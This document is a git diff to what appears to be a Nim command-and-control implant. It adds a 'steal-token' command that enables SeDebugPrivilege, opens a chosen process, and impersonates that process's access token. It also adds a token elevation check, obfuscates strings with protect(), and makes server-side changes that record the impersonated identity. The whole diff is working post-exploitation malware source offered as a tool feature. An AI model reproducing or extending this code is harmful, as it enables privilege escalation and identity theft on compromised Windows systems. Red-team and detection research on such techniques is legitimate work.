diff --git a/src/agent/core/token.nim b/src/agent/core/token.nim index ea87035..e0a8c80 100644 --- a/src/agent/core/token.nim +++ b/src/agent/core/token.nim @@ -23,6 +23,7 @@ type NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.} NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.} NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.} + NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.} Apis = object NtOpenProcessToken: NtOpenProcessToken @@ -31,8 +32,9 @@ type ConvertSidToSTringSidA: ConvertSidToSTringSidA NtSetInformationThread: NtSetInformationThread NtDuplicateToken: NtDuplicateToken - NtAdjustPrivilegesToken: NtAdjustPrivilegesToken NtClose: NtClose + NtAdjustPrivilegesToken: NtAdjustPrivilegesToken + NtOpenProcess: NtOpenProcess proc initApis(): Apis = let hNtdll = GetModuleHandleA(protect("ntdll")) @@ -45,7 +47,7 @@ proc initApis(): Apis = result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken"))) result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose"))) result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken"))) - + result.NtOpenProcess = cast[NtOpenProcess](GetProcAddress(hNtdll, protect("NtOpenProcess"))) const CURRENT_PROCESS = cast[HANDLE](-1) @@ -138,6 +140,18 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] = return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid)) +proc getTokenElevation(apis: Apis, hToken: HANDLE): bool = + var + status: NTSTATUS = 0 + returnLength: ULONG = 0 + pElevation: TOKEN_ELEVATION + + status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("NtQueryInformationToken - Token Elevation ") & $status.toHex()) + + return cast[bool](pElevation.TokenIsElevated) + proc getTokenGroups(apis: Apis, hToken: HANDLE): string = var status: NTSTATUS = 0 @@ -199,12 +213,15 @@ proc getTokenInfo*(hToken: HANDLE): string = let apis = initApis() let (tokenId, tokenType) = apis.getTokenStatistics(hToken) - result &= fmt"TokenID: 0x{tokenId}" & "\n" - result &= fmt"Type: {tokenType}" & "\n" - + result &= fmt"TokenID: 0x{tokenId}" & "\n" + result &= fmt"Type: {tokenType}" & "\n" + let (username, sid) = apis.getTokenUser(hToken) - result &= fmt"User: {username}" & "\n" - result &= fmt"SID: {sid}" & "\n" + result &= fmt"User: {username}" & "\n" + result &= fmt"SID: {sid}" & "\n" + + let isElevated = apis.getTokenElevation(hToken) + result &= fmt"Elevated: {$isElevated}" & "\n" result &= apis.getTokenGroups(hToken ) result &= apis.getTokenPrivileges(hToken) @@ -292,14 +309,11 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE: raise newException(CatchableError, $GetLastError()) defer: discard apis.NtClose(hToken) - + apis.impersonate(hToken) return apis.getTokenUser(hToken).username -proc stealToken*(pid: int): bool = - discard - proc enablePrivilege*(privilegeName: string, enable: bool = true): string = let apis = initApis() @@ -327,4 +341,42 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string = raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex()) let action = if enable: protect("Enabled") else: protect("Disabled") - return fmt"{action} {apis.privilegeToString(addr luid)}." \ No newline at end of file + return fmt"{action} {apis.privilegeToString(addr luid)}." + +#[ + Steal the access token of a remote process +]# +proc stealToken*(pid: int): string = + + let apis = initApis() + + var + status: NTSTATUS + hProcess: HANDLE + hToken: HANDLE + clientId: CLIENT_ID + oa: OBJECT_ATTRIBUTES + + # Enable the SeDebugPrivilege in the current token + # This privilege is required in order to duplicate and impersonate the access token of a remote process + discard enablePrivilege(protect("SeDebugPrivilege")) + + InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL) + clientId.UniqueProcess = cast[HANDLE](pid) + clientId.UniqueThread = 0 + + # Open a handle to the target process + status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId) + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("NtOpenProcess ") & $status.toHex()) + defer: discard apis.NtClose(hProcess) + + # Open a handle to the primary access token of the target process + status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken) + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) + defer: discard apis.NtClose(hToken) + + apis.impersonate(hToken) + + return apis.getTokenUser(hToken).username \ No newline at end of file diff --git a/src/modules/token.nim b/src/modules/token.nim index 447717d..af07640 100644 --- a/src/modules/token.nim +++ b/src/modules/token.nim @@ -2,6 +2,7 @@ import ../common/[types, utils] # Define function prototype proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult +proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult @@ -26,6 +27,16 @@ let module* = Module( ], execute: executeMakeToken ), + Command( + name: protect("steal-token"), + commandType: CMD_STEAL_TOKEN, + description: protect("Steal the primary access token of a remote process."), + example: protect("steal-token 1234"), + arguments: @[ + Argument(name: protect("pid"), description: protect("Process ID of the target process."), argumentType: INT, isRequired: true), + ], + execute: executeStealToken + ), Command( name: protect("rev2self"), commandType: CMD_REV2SELF, @@ -68,6 +79,7 @@ let module* = Module( # Implement execution functions when not defined(agent): proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult = nil proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil @@ -84,7 +96,6 @@ when defined(agent): try: echo fmt" [>] Creating access token from username and password." - var success: bool var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS var username = Bytes.toString(task.args[0].data) @@ -106,6 +117,18 @@ when defined(agent): except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult = + try: + echo fmt" [>] Stealing access token." + + let pid = int(Bytes.toUint32(task.args[0].data)) + let username = stealToken(pid) + + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}.")) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = try: echo fmt" [>] Reverting access token." diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 96165fc..616946d 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -102,8 +102,8 @@ proc handleResult*(resultData: seq[byte]) = # Handle additional actions or UI-events based on command type (only when command succeeded) case cast[CommandType](taskResult.command): - of CMD_MAKE_TOKEN: - let impersonationToken: string = Bytes.toString(taskResult.data).split(" ")[1][0..^2] # Remove trailing '.' character from the domain\username string + of CMD_MAKE_TOKEN, CMD_STEAL_TOKEN: + let impersonationToken: string = Bytes.toString(taskResult.data).split(" ", 1)[1..^1].join(" ")[0..^2] # Remove trailing '.' character from the domain\username string if cq.dbUpdateTokenImpersonation(agentId, impersonationToken): cq.agents[agentId].impersonationToken = impersonationToken cq.client.sendImpersonateToken(agentId, impersonationToken)